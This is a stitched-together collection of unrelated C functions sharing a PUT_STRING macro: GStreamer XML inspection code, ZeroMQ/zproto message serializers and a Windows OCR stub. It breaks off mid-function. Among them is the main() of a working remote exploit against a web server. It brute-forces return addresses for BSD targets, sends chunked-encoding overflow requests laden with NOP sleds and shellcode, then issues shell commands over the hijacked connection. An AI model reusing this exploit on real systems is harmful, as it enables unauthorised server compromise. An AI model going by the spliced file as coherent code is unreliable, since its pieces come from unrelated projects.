int main (int argc, char *argv[]) { GstElementFactory *factory; GOptionEntry options[] = { GST_TOOLS_GOPTION_VERSION, {NULL} }; GOptionContext *ctx; GError *err = NULL; setlocale (LC_ALL, ""); #if !GLIB_CHECK_VERSION (2, 31, 0) g_thread_init (NULL); #endif gst_tools_set_prgname ("gst-xmlinspect"); ctx = g_option_context_new ("[ELEMENT-NAME]"); g_option_context_add_main_entries (ctx, options, GETTEXT_PACKAGE); g_option_context_add_group (ctx, gst_init_get_option_group ()); if (!g_option_context_parse (ctx, &argc, &argv, &err)) { g_print ("Error initializing: %s\n", err->message); exit (1); } g_option_context_free (ctx); gst_tools_print_version ("gst-xmlinspect"); /* if no arguments, print out all elements */ if (argc == 1) { GList *features, *f; features = gst_registry_get_feature_list (gst_registry_get_default (), GST_TYPE_ELEMENT_FACTORY); PUT_STRING (0, "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>"); for (f = features; f != NULL; f = f->next) print_element_info (GST_ELEMENT_FACTORY (f->data)); gst_plugin_feature_list_free (features); return 0; } /* else we try to get a factory */ factory = gst_element_factory_find (argv[1]); /* if there's a factory, print out the info */ if (factory) { PUT_STRING (0, "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>"); return print_element_info (factory); } /* otherwise, error out */ g_printerr ("no such element '%s'\n", argv[1]); return -1; }
int zmailer_msg_send (zmailer_msg_t *self, zsock_t *output) { assert (self); assert (output); if (zsock_type (output) == ZMQ_ROUTER) zframe_send (&self->routing_id, output, ZFRAME_MORE + ZFRAME_REUSE); size_t frame_size = 2 + 1; // Signature and message ID switch (self->id) { case ZMAILER_MSG_MAIL: frame_size += 2; // version frame_size += 1 + strlen (self->from); frame_size += 4; if (self->to) frame_size += strlen (self->to); frame_size += 4; if (self->subject) frame_size += strlen (self->subject); frame_size += 4; if (self->request) frame_size += strlen (self->request); break; } // Now serialize message into the frame zmq_msg_t frame; zmq_msg_init_size (&frame, frame_size); self->needle = (byte *) zmq_msg_data (&frame); PUT_NUMBER2 (0xAAA0 | 0); PUT_NUMBER1 (self->id); size_t nbr_frames = 1; // Total number of frames to send switch (self->id) { case ZMAILER_MSG_MAIL: PUT_NUMBER2 (1); PUT_STRING (self->from); if (self->to) { PUT_LONGSTR (self->to); } else PUT_NUMBER4 (0); // Empty string if (self->subject) { PUT_LONGSTR (self->subject); } else PUT_NUMBER4 (0); // Empty string if (self->request) { PUT_LONGSTR (self->request); } else PUT_NUMBER4 (0); // Empty string break; } // Now send the data frame zmq_msg_send (&frame, zsock_resolve (output), --nbr_frames? ZMQ_SNDMORE: 0); return 0; }
static void print_query_types (const GstQueryType * types, gint pfx) { while (types && *types) { const GstQueryTypeDefinition *definition; definition = gst_query_type_get_details (*types); if (definition) PUT_STRING (pfx, "<query-type id=\"%d\" nick=\"%s\">%s</query-type>", *types, definition->nick, definition->description); else PUT_STRING (pfx, "<query-type id=\"%d\">unknown</query-type>", *types); types++; } }
//******************************************************************** static Bool TableStub() { // Обозначение таблицы в тексте страницы // Слова "Таблица", "Строк:", "Столбцов:", "Ячеек:" char word1[40]="", word2[40]="", word3[40]="", word4[40]=""; LoadString((HINSTANCE)ghInst_rout, IDS_MODULE_TEXT_Table,word1,sizeof(word1)); LoadString((HINSTANCE)ghInst_rout, IDS_MODULE_TEXT_Rows,word2,sizeof(word2)); LoadString((HINSTANCE)ghInst_rout, IDS_MODULE_TEXT_Cols,word3,sizeof(word3)); LoadString((HINSTANCE)ghInst_rout, IDS_MODULE_TEXT_Cells,word4,sizeof(word4)); char buf[1000] = ""; sprintf(buf, "<< %s %ld: %s %ld, %s %ld, %s %ld >>", word1, gHitTables, word2, gTableRows, word3, gTableCols, word4, gTableCells); PUT_STRING(buf); NEW_LINE; return TRUE; }
static void print_formats (const GstFormat * formats, gint pfx) { while (formats && *formats) { const GstFormatDefinition *definition; definition = gst_format_get_details (*formats); if (definition) PUT_STRING (pfx, "<format id=\"%d\" nick=\"%s\">%s</format>", *formats, definition->nick, definition->description); else PUT_STRING (pfx, "<format id=\"%d\">unknown</format>", *formats); formats++; } }
// Serialize headers key=value pair static int s_headers_write (const char *key, void *item, void *argument) { zre_msg_t *self = (zre_msg_t *) argument; PUT_STRING (key); PUT_LONGSTR ((char *) item); return 0; }
// Serialize headers key=value pair static int s_headers_write (const char *key, void *item, void *argument) { zre_msg_t *self = (zre_msg_t *) argument; char string [STRING_MAX + 1]; snprintf (string, STRING_MAX, "%s=%s", key, (char *) item); size_t string_size; PUT_STRING (string); return 0; }
int zpubsub_filter_send (zpubsub_filter_t *self, zsock_t *output) { assert (self); assert (output); if (zsock_type (output) == ZMQ_ROUTER) zframe_send (&self->routing_id, output, ZFRAME_MORE + ZFRAME_REUSE); size_t frame_size = 2 + 1; // Signature and message ID switch (self->id) { case ZPUBSUB_FILTER_FILTER: frame_size += 2; // magic frame_size += 2; // version frame_size += 1 + strlen (self->partition); frame_size += 1 + strlen (self->topic); break; } // Now serialize message into the frame zmq_msg_t frame; zmq_msg_init_size (&frame, frame_size); self->needle = (byte *) zmq_msg_data (&frame); PUT_NUMBER2 (0xAAA0 | 7); PUT_NUMBER1 (self->id); size_t nbr_frames = 1; // Total number of frames to send switch (self->id) { case ZPUBSUB_FILTER_FILTER: PUT_NUMBER2 (ZPUBSUB_FILTER_MAGIC_NUMBER); PUT_NUMBER2 (ZPUBSUB_FILTER_VERSION); PUT_STRING (self->partition); PUT_STRING (self->topic); break; } // Now send the data frame zmq_msg_send (&frame, zsock_resolve (output), --nbr_frames? ZMQ_SNDMORE: 0); return 0; }
static void print_event_masks (const GstEventMask * masks, gint pfx) { GType event_type; GEnumClass *klass; GType event_flags; GFlagsClass *flags_class = NULL; event_type = gst_event_type_get_type (); klass = (GEnumClass *) g_type_class_ref (event_type); while (masks && masks->type) { GEnumValue *value; gint flags = 0, index = 0; switch (masks->type) { case GST_EVENT_SEEK: flags = masks->flags; event_flags = gst_seek_type_get_type (); flags_class = (GFlagsClass *) g_type_class_ref (event_flags); break; default: break; } value = g_enum_get_value (klass, masks->type); PUT_STRING (pfx, "<event type=\"%s\">", value->value_nick); while (flags) { GFlagsValue *value; if (flags & 1) { value = g_flags_get_first_value (flags_class, 1 << index); if (value) PUT_ESCAPED (pfx + 1, "flag", value->value_nick); else PUT_ESCAPED (pfx + 1, "flag", "?"); } flags >>= 1; index++; } PUT_END_TAG (pfx, "event"); masks++; } }
static void output_hierarchy (GType type, gint level, gint * maxlevel) { GType parent; parent = g_type_parent (type); *maxlevel = *maxlevel + 1; level++; PUT_STRING (level, "<object name=\"%s\">", g_type_name (type)); if (parent) output_hierarchy (parent, level, maxlevel); PUT_END_TAG (level, "object"); }
GByteArray * jz_msg_to_byte_array (JzMsg *self) { // Calculate size of serialized data size_t frame_size = JZ_MSG_PAYLOAD_HEADER_SIZE; // Header: version + ID + LCN switch (self->id) { case JZ_MSG_DATA: // q is a 1-byte integer frame_size += 1; // pr is a 2-byte integer frame_size += 2; // ps is a 2-byte integer frame_size += 2; // Raw data frame_size += RAW_SIZE (self->data); break; case JZ_MSG_RR: // pr is a 2-byte integer frame_size += 2; break; case JZ_MSG_RNR: // pr is a 2-byte integer frame_size += 2; break; case JZ_MSG_CALL_REQUEST: // calling_address is a string with 1-byte length frame_size++; // Size is one octet if (self->calling_address) frame_size += strlen (self->calling_address); // called_address is a string with 1-byte length frame_size++; // Size is one octet if (self->called_address) frame_size += strlen (self->called_address); // packet is a 1-byte integer frame_size += 1; // window is a 2-byte integer frame_size += 2; // throughput is a 1-byte integer frame_size += 1; // Raw data frame_size += RAW_SIZE (self->data); break; case JZ_MSG_CALL_ACCEPTED: // calling_address is a string with 1-byte length frame_size++; // Size is one octet if (self->calling_address) frame_size += strlen (self->calling_address); // called_address is a string with 1-byte length frame_size++; // Size is one octet if (self->called_address) frame_size += strlen (self->called_address); // packet is a 1-byte integer frame_size += 1; // window is a 2-byte integer frame_size += 2; // throughput is a 1-byte integer frame_size += 1; // Raw data frame_size += RAW_SIZE (self->data); break; case JZ_MSG_CLEAR_REQUEST: // cause is a 1-byte integer frame_size += 1; // diagnostic is a 1-byte integer frame_size += 1; break; case JZ_MSG_CLEAR_CONFIRMATION: break; case JZ_MSG_RESET_REQUEST: // cause is a 1-byte integer frame_size += 1; // diagnostic is a 1-byte integer frame_size += 1; break; case JZ_MSG_RESET_CONFIRMATION: break; case JZ_MSG_CONNECT: // calling_address is a string with 1-byte length frame_size++; // Size is one octet if (self->calling_address) frame_size += strlen (self->calling_address); // iodir is a 1-byte integer frame_size += 1; break; case JZ_MSG_CONNECT_INDICATION: break; case JZ_MSG_DISCONNECT: break; case JZ_MSG_DISCONNECT_INDICATION: break; case JZ_MSG_DIAGNOSTIC: // diagnostic is a 1-byte integer frame_size += 1; // diagnostic_version is a 1-byte integer frame_size += 1; // diagnostic_id is a 1-byte integer frame_size += 1; // diagnostic_lcn is a 2-byte integer frame_size += 2; break; case JZ_MSG_DIRECTORY_REQUEST: break; #if 0 case JZ_MSG_DIRECTORY: // workers is an array of key=value strings frame_size++; // Size is one octet if (self->workers) { self->workers_bytes = 0; // Add up size of dictionary contents zhash_foreach (self->workers, s_workers_count, self); } frame_size += self->workers_bytes; break; #endif case JZ_MSG_ENQ: break; case JZ_MSG_ACK: break; case JZ_MSG_RESTART_REQUEST: // cause is a 1-byte integer frame_size += 1; // diagnostic is a 1-byte integer frame_size += 1; break; case JZ_MSG_RESTART_CONFIRMATION: break; default: g_error ("bad message type '%s'", id_name (self->id)); } size_t padding = JZ_MSG_PADDING_LENGTH(frame_size); // Now serialize message into the message GByteArray *buf = g_byte_array_sized_new (JZ_MSG_ENVELOPE_SIZE + frame_size + padding); buf->len = JZ_MSG_ENVELOPE_SIZE + frame_size + padding; self->needle = buf->data; size_t string_size; PUT_NUMBER4 (self->signature); PUT_NUMBER4 (frame_size); PUT_NUMBER1 (self->version); PUT_NUMBER1 (self->id); PUT_NUMBER2 (self->lcn); switch (self->id) { case JZ_MSG_DATA: PUT_NUMBER1 (self->q); PUT_NUMBER2 (self->pr); PUT_NUMBER2 (self->ps); PUT_RAW (self->data); break; case JZ_MSG_RR: PUT_NUMBER2 (self->pr); break; case JZ_MSG_RNR: PUT_NUMBER2 (self->pr); break; case JZ_MSG_CALL_REQUEST: if (self->calling_address) { PUT_STRING (self->calling_address); } else PUT_NUMBER1 (0); // Empty string if (self->called_address) { PUT_STRING (self->called_address); } else PUT_NUMBER1 (0); // Empty string PUT_NUMBER1 (self->packet); PUT_NUMBER2 (self->window); PUT_NUMBER1 (self->throughput); PUT_RAW (self->data); break; case JZ_MSG_CALL_ACCEPTED: if (self->calling_address) { PUT_STRING (self->calling_address); } else PUT_NUMBER1 (0); // Empty string if (self->called_address) { PUT_STRING (self->called_address); } else PUT_NUMBER1 (0); // Empty string PUT_NUMBER1 (self->packet); PUT_NUMBER2 (self->window); PUT_NUMBER1 (self->throughput); PUT_RAW (self->data); break; case JZ_MSG_CLEAR_REQUEST: PUT_NUMBER1 (self->cause); PUT_NUMBER1 (self->diagnostic); break; case JZ_MSG_CLEAR_CONFIRMATION: break; case JZ_MSG_RESET_REQUEST: PUT_NUMBER1 (self->cause); PUT_NUMBER1 (self->diagnostic); break; case JZ_MSG_RESET_CONFIRMATION: break; case JZ_MSG_CONNECT: if (self->calling_address) { PUT_STRING (self->calling_address); } else PUT_NUMBER1 (0); // Empty string PUT_NUMBER1 (self->iodir); break; case JZ_MSG_CONNECT_INDICATION: break; case JZ_MSG_DISCONNECT: break; case JZ_MSG_DISCONNECT_INDICATION: break; case JZ_MSG_DIAGNOSTIC: PUT_NUMBER1 (self->diagnostic); PUT_NUMBER1 (self->diagnostic_version); PUT_NUMBER1 (self->diagnostic_id); PUT_NUMBER2 (self->diagnostic_lcn); break; case JZ_MSG_DIRECTORY_REQUEST: break; #if 0 case JZ_MSG_DIRECTORY: if (self->workers != NULL) { PUT_NUMBER1 (zhash_size (self->workers)); zhash_foreach (self->workers, s_workers_write, self); } else PUT_NUMBER1 (0); // Empty dictionary break; #endif case JZ_MSG_ENQ: break; case JZ_MSG_ACK: break; case JZ_MSG_RESTART_REQUEST: PUT_NUMBER1 (self->cause); PUT_NUMBER1 (self->diagnostic); break; case JZ_MSG_RESTART_CONFIRMATION: break; } for (int i = 0; i < padding; i ++) PUT_NUMBER1 (0); self->crc = digital_crc32(buf->data + JZ_MSG_ENVELOPE_HEADER_SIZE, frame_size); PUT_NUMBER4 (self->crc); return buf; }
int zgossip_msg_send (zgossip_msg_t *self, zsock_t *output) { assert (self); assert (output); if (zsock_type (output) == ZMQ_ROUTER) zframe_send (&self->routing_id, output, ZFRAME_MORE + ZFRAME_REUSE); size_t frame_size = 2 + 1; // Signature and message ID switch (self->id) { case ZGOSSIP_MSG_HELLO: frame_size += 1; // version break; case ZGOSSIP_MSG_PUBLISH: frame_size += 1; // version frame_size += 1 + strlen (self->key); frame_size += 4; if (self->value) frame_size += strlen (self->value); frame_size += 4; // ttl break; case ZGOSSIP_MSG_PING: frame_size += 1; // version break; case ZGOSSIP_MSG_PONG: frame_size += 1; // version break; case ZGOSSIP_MSG_INVALID: frame_size += 1; // version break; } // Now serialize message into the frame zmq_msg_t frame; zmq_msg_init_size (&frame, frame_size); self->needle = (byte *) zmq_msg_data (&frame); PUT_NUMBER2 (0xAAA0 | 0); PUT_NUMBER1 (self->id); size_t nbr_frames = 1; // Total number of frames to send switch (self->id) { case ZGOSSIP_MSG_HELLO: PUT_NUMBER1 (1); break; case ZGOSSIP_MSG_PUBLISH: PUT_NUMBER1 (1); PUT_STRING (self->key); if (self->value) { PUT_LONGSTR (self->value); } else PUT_NUMBER4 (0); // Empty string PUT_NUMBER4 (self->ttl); break; case ZGOSSIP_MSG_PING: PUT_NUMBER1 (1); break; case ZGOSSIP_MSG_PONG: PUT_NUMBER1 (1); break; case ZGOSSIP_MSG_INVALID: PUT_NUMBER1 (1); break; } // Now send the data frame zmq_msg_send (&frame, zsock_resolve (output), --nbr_frames? ZMQ_SNDMORE: 0); return 0; }
zmsg_t * zre_msg_encode (zre_msg_t *self, int socket_type) { assert (self); zmsg_t *msg = zmsg_new (); // If we're sending to a ROUTER, send the routing_id first if (socket_type == ZMQ_ROUTER) zmsg_prepend (msg, &self->routing_id); size_t frame_size = 2 + 1; // Signature and message ID switch (self->id) { case ZRE_MSG_HELLO: // sequence is a 2-byte integer frame_size += 2; // ipaddress is a string with 1-byte length frame_size++; // Size is one octet if (self->ipaddress) frame_size += strlen (self->ipaddress); // mailbox is a 2-byte integer frame_size += 2; // groups is an array of strings frame_size += 4; // Size is 4 octets if (self->groups) { // Add up size of list contents char *groups = (char *) zlist_first (self->groups); while (groups) { frame_size += 4 + strlen (groups); groups = (char *) zlist_next (self->groups); } } // status is a 1-byte integer frame_size += 1; // headers is an array of key=value strings frame_size += 4; // Size is 4 octets if (self->headers) { self->headers_bytes = 0; // Add up size of dictionary contents zhash_foreach (self->headers, s_headers_count, self); } frame_size += self->headers_bytes; break; case ZRE_MSG_WHISPER: // sequence is a 2-byte integer frame_size += 2; break; case ZRE_MSG_SHOUT: // sequence is a 2-byte integer frame_size += 2; // group is a string with 1-byte length frame_size++; // Size is one octet if (self->group) frame_size += strlen (self->group); break; case ZRE_MSG_JOIN: // sequence is a 2-byte integer frame_size += 2; // group is a string with 1-byte length frame_size++; // Size is one octet if (self->group) frame_size += strlen (self->group); // status is a 1-byte integer frame_size += 1; break; case ZRE_MSG_LEAVE: // sequence is a 2-byte integer frame_size += 2; // group is a string with 1-byte length frame_size++; // Size is one octet if (self->group) frame_size += strlen (self->group); // status is a 1-byte integer frame_size += 1; break; case ZRE_MSG_PING: // sequence is a 2-byte integer frame_size += 2; break; case ZRE_MSG_PING_OK: // sequence is a 2-byte integer frame_size += 2; break; default: printf ("E: bad message type '%d', not sent\n", self->id); // No recovery, this is a fatal application error assert (false); } // Now serialize message into the frame zframe_t *frame = zframe_new (NULL, frame_size); self->needle = zframe_data (frame); PUT_NUMBER2 (0xAAA0 | 1); PUT_NUMBER1 (self->id); switch (self->id) { case ZRE_MSG_HELLO: PUT_NUMBER2 (self->sequence); if (self->ipaddress) { PUT_STRING (self->ipaddress); } else PUT_NUMBER1 (0); // Empty string PUT_NUMBER2 (self->mailbox); if (self->groups) { PUT_NUMBER4 (zlist_size (self->groups)); char *groups = (char *) zlist_first (self->groups); while (groups) { PUT_LONGSTR (groups); groups = (char *) zlist_next (self->groups); } } else PUT_NUMBER4 (0); // Empty string array PUT_NUMBER1 (self->status); if (self->headers) { PUT_NUMBER4 (zhash_size (self->headers)); zhash_foreach (self->headers, s_headers_write, self); } else PUT_NUMBER4 (0); // Empty dictionary break; case ZRE_MSG_WHISPER: PUT_NUMBER2 (self->sequence); break; case ZRE_MSG_SHOUT: PUT_NUMBER2 (self->sequence); if (self->group) { PUT_STRING (self->group); } else PUT_NUMBER1 (0); // Empty string break; case ZRE_MSG_JOIN: PUT_NUMBER2 (self->sequence); if (self->group) { PUT_STRING (self->group); } else PUT_NUMBER1 (0); // Empty string PUT_NUMBER1 (self->status); break; case ZRE_MSG_LEAVE: PUT_NUMBER2 (self->sequence); if (self->group) { PUT_STRING (self->group); } else PUT_NUMBER1 (0); // Empty string PUT_NUMBER1 (self->status); break; case ZRE_MSG_PING: PUT_NUMBER2 (self->sequence); break; case ZRE_MSG_PING_OK: PUT_NUMBER2 (self->sequence); break; } // Now send the data frame if (zmsg_append (msg, &frame)) { zmsg_destroy (&msg); zre_msg_destroy (&self); return NULL; } // Now send the content field if set if (self->id == ZRE_MSG_WHISPER) { zframe_t *content_part = zmsg_pop (self->content); while (content_part) { zmsg_append (msg, &content_part); content_part = zmsg_pop (self->content); } } // Now send the content field if set if (self->id == ZRE_MSG_SHOUT) { zframe_t *content_part = zmsg_pop (self->content); while (content_part) { zmsg_append (msg, &content_part); content_part = zmsg_pop (self->content); } } // Destroy zre_msg object zre_msg_destroy (&self); return msg; }
zmsg_t * zre_log_msg_encode (zre_log_msg_t **self_p) { assert (self_p); assert (*self_p); zre_log_msg_t *self = *self_p; zmsg_t *msg = zmsg_new (); size_t frame_size = 2 + 1; // Signature and message ID switch (self->id) { case ZRE_LOG_MSG_LOG: // level is a 1-byte integer frame_size += 1; // event is a 1-byte integer frame_size += 1; // node is a 2-byte integer frame_size += 2; // peer is a 2-byte integer frame_size += 2; // time is a 8-byte integer frame_size += 8; // data is a string with 1-byte length frame_size++; // Size is one octet if (self->data) frame_size += strlen (self->data); break; default: printf ("E: bad message type '%d', not sent\n", self->id); // No recovery, this is a fatal application error assert (false); } // Now serialize message into the frame zframe_t *frame = zframe_new (NULL, frame_size); self->needle = zframe_data (frame); PUT_NUMBER2 (0xAAA0 | 2); PUT_NUMBER1 (self->id); switch (self->id) { case ZRE_LOG_MSG_LOG: PUT_NUMBER1 (self->level); PUT_NUMBER1 (self->event); PUT_NUMBER2 (self->node); PUT_NUMBER2 (self->peer); PUT_NUMBER8 (self->time); if (self->data) { PUT_STRING (self->data); } else PUT_NUMBER1 (0); // Empty string break; } // Now send the data frame if (zmsg_append (msg, &frame)) { zmsg_destroy (&msg); zre_log_msg_destroy (self_p); return NULL; } // Destroy zre_log_msg object zre_log_msg_destroy (self_p); return msg; }
int main(int argc, char *argv[]) { char *hostp, *portp, *cmdz = DEFAULT_CMDZ; u_char buf[512], *expbuf, *p; int i, j, lport, sock; int bruteforce, owned, progress, sc_timeout = 5; int responses, shown_length = 0; struct in_addr ia; struct sockaddr_in sin, from; struct hostent *he; if(argc < 4) usage(); bruteforce = 0; memset(&victim, 0, sizeof(victim)); while((i = getopt(argc, argv, "t:b:d:h:w:c:r:z:o:")) != -1) { switch(i) { /* required stuff */ case 'h': hostp = strtok(optarg, ":"); if((portp = strtok(NULL, ":")) == NULL) portp = "80"; break; /* predefined targets */ case 't': if(atoi(optarg) >= sizeof(targets)/sizeof(victim)) { printf("Invalid target\n"); return -1; } memcpy(&victim, &targets[atoi(optarg)], sizeof(victim)); break; /* bruteforce! */ case 'b': bruteforce++; victim.type = "Custom target"; victim.retaddr = strtoul(optarg, NULL, 16); printf("Using 0x%lx as the baseadress while bruteforcing..\n", victim.retaddr); break; case 'd': victim.delta = atoi(optarg); printf("Using %d as delta\n", victim.delta); break; case 'r': victim.repretaddr = atoi(optarg); printf("Repeating the return address %d times\n", victim.repretaddr); break; case 'z': victim.repzero = atoi(optarg); printf("Number of zeroes will be %d\n", victim.repzero); break; case 'o': bruteforce++; switch(*optarg) { case 'f': victim.type = "FreeBSD"; victim.retaddr = 0x80a0000; victim.delta = -150; victim.repretaddr = 6; victim.repzero = 36; break; case 'o': victim.type = "OpenBSD"; victim.retaddr = 0x80000; victim.delta = -146; victim.repretaddr = 6; victim.repzero = 36; break; case 'n': victim.type = "NetBSD"; victim.retaddr = 0x080e0000; victim.delta = -90; victim.repretaddr = 5; victim.repzero = 42; break; default: printf("[-] Better luck next time!\n"); break; } break; /* optional stuff */ case 'w': sc_timeout = atoi(optarg); printf("Waiting maximum %d seconds for replies from shellcode\n", sc_timeout); break; case 'c': cmdz = optarg; break; default: usage(); break; } } if(!victim.delta || !victim.retaddr || !victim.repretaddr || !victim.repzero) { printf("[-] Incomplete target. At least 1 argument is missing (nmap style!!)\n"); return -1; } printf("[*] Resolving target host.. "); fflush(stdout); he = gethostbyname(hostp); if(he) memcpy(&ia.s_addr, he->h_addr, 4); else if((ia.s_addr = inet_addr(hostp)) == INADDR_ANY) { printf("There'z no %s on this side of the Net!\n", hostp); return -1; } printf("%s\n", inet_ntoa(ia)); srand(getpid()); signal(SIGPIPE, SIG_IGN); for(owned = 0, progress = 0;;victim.retaddr += RET_ADDR_INC) { /* skip invalid return adresses */ if(memchr(&victim.retaddr, 0x0a, 4) || memchr(&victim.retaddr, 0x0d, 4)) continue; sock = socket(PF_INET, SOCK_STREAM, 0); sin.sin_family = PF_INET; sin.sin_addr.s_addr = ia.s_addr; sin.sin_port = htons(atoi(portp)); if(!progress) printf("[*] Connecting.. "); fflush(stdout); if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) { perror("connect()"); exit(1); } if(!progress) printf("connected!\n"); p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE) + ((PADSIZE_1 + (victim.repretaddr * 4) + victim.repzero + 1024) * REP_POPULATOR)); PUT_STRING("GET / HTTP/1.1\r\nHost: " HOST_PARAM "\r\n"); for (i = 0; i < REP_SHELLCODE; i++) { PUT_STRING("X-"); PUT_BYTES(PADSIZE_3, PADDING_3); PUT_STRING(": "); PUT_BYTES(NOPCOUNT, NOP); memcpy(p, shellcode, sizeof(shellcode) - 1); p += sizeof(shellcode) - 1; PUT_STRING("\r\n"); } for (i = 0; i < REP_POPULATOR; i++) { PUT_STRING("X-"); PUT_BYTES(PADSIZE_1, PADDING_1); PUT_STRING(": "); for (j = 0; j < victim.repretaddr; j++) { *p++ = victim.retaddr & 0xff; *p++ = (victim.retaddr >> 8) & 0xff; *p++ = (victim.retaddr >> 16) & 0xff; *p++ = (victim.retaddr >> 24) & 0xff; } PUT_BYTES(victim.repzero, 0); PUT_STRING("\r\n"); } PUT_STRING("Transfer-Encoding: chunked\r\n"); snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2); PUT_STRING(buf); PUT_BYTES(PADSIZE_2, PADDING_2); snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", victim.delta); PUT_STRING(buf); if(!shown_length) { printf("[*] Exploit output is %u bytes\n", (unsigned int)(p - expbuf)); shown_length = 1; } write(sock, expbuf, p - expbuf); progress++; if((progress%70) == 0) progress = 1; if(progress == 1) { printf("\r[*] Currently using retaddr 0x%lx", victim.retaddr); for(i = 0; i < 40; i ++) printf(" "); printf("\n"); if(bruteforce) putchar(';'); } else putchar(((rand()>>8)%2)? 'P': 'p'); fflush(stdout); responses = 0; while (1) { fd_set fds; int n; struct timeval tv; tv.tv_sec = sc_timeout; tv.tv_usec = 0; FD_ZERO(&fds); FD_SET(0, &fds); FD_SET(sock, &fds); memset(buf, 0, sizeof(buf)); if(select(sock + 1, &fds, NULL, NULL, owned? NULL : &tv) > 0) { if(FD_ISSET(sock, &fds)) { if((n = read(sock, buf, sizeof(buf) - 1)) < 0) break; if(n >= 1) { if(!owned) { for(i = 0; i < n; i ++) if(buf[i] == 'G') responses ++; else responses = 0; if(responses >= 2) { owned = 1; write(sock, "O", 1); write(sock, cmdz, strlen(cmdz)); printf(" it's a TURKEY: type=%s, delta=%d, retaddr=0x%lx, repretaddr=%d, repzero=%d\n", victim.type, victim.delta, victim.retaddr, victim.repretaddr, victim.repzero); printf("Experts say this isn't exploitable, so nothing will happen now: "); fflush(stdout); } } else write(1, buf, n); } } if(FD_ISSET(0, &fds)) { if((n = read(0, buf, sizeof(buf) - 1)) < 0) exit(1); write(sock, buf, n); } } if(!owned) break; } free(expbuf); close(sock); if(owned) return 0; if(!bruteforce) { fprintf(stderr, "Ooops.. hehehe!\n"); return -1; } } return 0; }
int mdp_client_msg_send (mdp_client_msg_t *self, zsock_t *output) { assert (self); assert (output); if (zsock_type (output) == ZMQ_ROUTER) zframe_send (&self->routing_id, output, ZFRAME_MORE + ZFRAME_REUSE); size_t frame_size = 2 + 1; // Signature and message ID switch (self->id) { case MDP_CLIENT_MSG_CLIENT_REQUEST: frame_size += 1 + strlen ("MDPC02"); frame_size += 1; // messageid frame_size += 1 + strlen (self->service); break; case MDP_CLIENT_MSG_CLIENT_PARTIAL: frame_size += 1 + strlen ("MDPC02"); frame_size += 1; // messageid frame_size += 1 + strlen (self->service); break; case MDP_CLIENT_MSG_CLIENT_FINAL: frame_size += 1 + strlen ("MDPC02"); frame_size += 1; // messageid frame_size += 1 + strlen (self->service); break; } // Now serialize message into the frame zmq_msg_t frame; zmq_msg_init_size (&frame, frame_size); self->needle = (byte *) zmq_msg_data (&frame); PUT_NUMBER2 (0xAAA0 | 4); PUT_NUMBER1 (self->id); bool send_body = false; size_t nbr_frames = 1; // Total number of frames to send switch (self->id) { case MDP_CLIENT_MSG_CLIENT_REQUEST: PUT_STRING ("MDPC02"); PUT_NUMBER1 (1); PUT_STRING (self->service); nbr_frames += self->body? zmsg_size (self->body): 1; send_body = true; break; case MDP_CLIENT_MSG_CLIENT_PARTIAL: PUT_STRING ("MDPC02"); PUT_NUMBER1 (2); PUT_STRING (self->service); nbr_frames += self->body? zmsg_size (self->body): 1; send_body = true; break; case MDP_CLIENT_MSG_CLIENT_FINAL: PUT_STRING ("MDPC02"); PUT_NUMBER1 (3); PUT_STRING (self->service); nbr_frames += self->body? zmsg_size (self->body): 1; send_body = true; break; } // Now send the data frame zmq_msg_send (&frame, zsock_resolve (output), --nbr_frames? ZMQ_SNDMORE: 0); // Now send the body if necessary if (send_body) { if (self->body) { zframe_t *frame = zmsg_first (self->body); while (frame) { zframe_send (&frame, output, ZFRAME_REUSE + (--nbr_frames? ZFRAME_MORE: 0)); frame = zmsg_next (self->body); } } else zmq_send (zsock_resolve (output), NULL, 0, 0); } return 0; }
int zre_log_msg_send (zre_log_msg_t **self_p, void *output) { assert (output); assert (self_p); assert (*self_p); // Calculate size of serialized data zre_log_msg_t *self = *self_p; size_t frame_size = 2 + 1; // Signature and message ID switch (self->id) { case ZRE_LOG_MSG_LOG: // level is a 1-byte integer frame_size += 1; // event is a 1-byte integer frame_size += 1; // node is a 2-byte integer frame_size += 2; // peer is a 2-byte integer frame_size += 2; // time is a 8-byte integer frame_size += 8; // data is a string with 1-byte length frame_size++; // Size is one octet if (self->data) frame_size += strlen (self->data); break; default: printf ("E: bad message type '%d', not sent\n", self->id); // No recovery, this is a fatal application error assert (false); } // Now serialize message into the frame zframe_t *frame = zframe_new (NULL, frame_size); self->needle = zframe_data (frame); size_t string_size; int frame_flags = 0; PUT_NUMBER2 (0xAAA0 | 2); PUT_NUMBER1 (self->id); switch (self->id) { case ZRE_LOG_MSG_LOG: PUT_NUMBER1 (self->level); PUT_NUMBER1 (self->event); PUT_NUMBER2 (self->node); PUT_NUMBER2 (self->peer); PUT_NUMBER8 (self->time); if (self->data) { PUT_STRING (self->data); } else PUT_NUMBER1 (0); // Empty string break; } // If we're sending to a ROUTER, we send the address first if (zsocket_type (output) == ZMQ_ROUTER) { assert (self->address); if (zframe_send (&self->address, output, ZFRAME_MORE)) { zframe_destroy (&frame); zre_log_msg_destroy (self_p); return -1; } } // Now send the data frame if (zframe_send (&frame, output, frame_flags)) { zframe_destroy (&frame); zre_log_msg_destroy (self_p); return -1; } // Destroy zre_log_msg object zre_log_msg_destroy (self_p); return 0; }
int fmq_msg_send (fmq_msg_t *self, zsock_t *output) { assert (self); assert (output); if (zsock_type (output) == ZMQ_ROUTER) zframe_send (&self->routing_id, output, ZFRAME_MORE + ZFRAME_REUSE); size_t frame_size = 2 + 1; // Signature and message ID switch (self->id) { case FMQ_MSG_OHAI: frame_size += 1 + strlen ("FILEMQ"); frame_size += 2; // version break; case FMQ_MSG_ICANHAZ: frame_size += 4; if (self->path) frame_size += strlen (self->path); frame_size += 4; // Size is 4 octets if (self->options) { self->options_bytes = 0; char *item = (char *) zhash_first (self->options); while (item) { self->options_bytes += 1 + strlen (zhash_cursor (self->options)); self->options_bytes += 4 + strlen (item); item = (char *) zhash_next (self->options); } } frame_size += self->options_bytes; frame_size += 4; // Size is 4 octets if (self->cache) { self->cache_bytes = 0; char *item = (char *) zhash_first (self->cache); while (item) { self->cache_bytes += 1 + strlen (zhash_cursor (self->cache)); self->cache_bytes += 4 + strlen (item); item = (char *) zhash_next (self->cache); } } frame_size += self->cache_bytes; break; case FMQ_MSG_NOM: frame_size += 8; // credit frame_size += 8; // sequence break; case 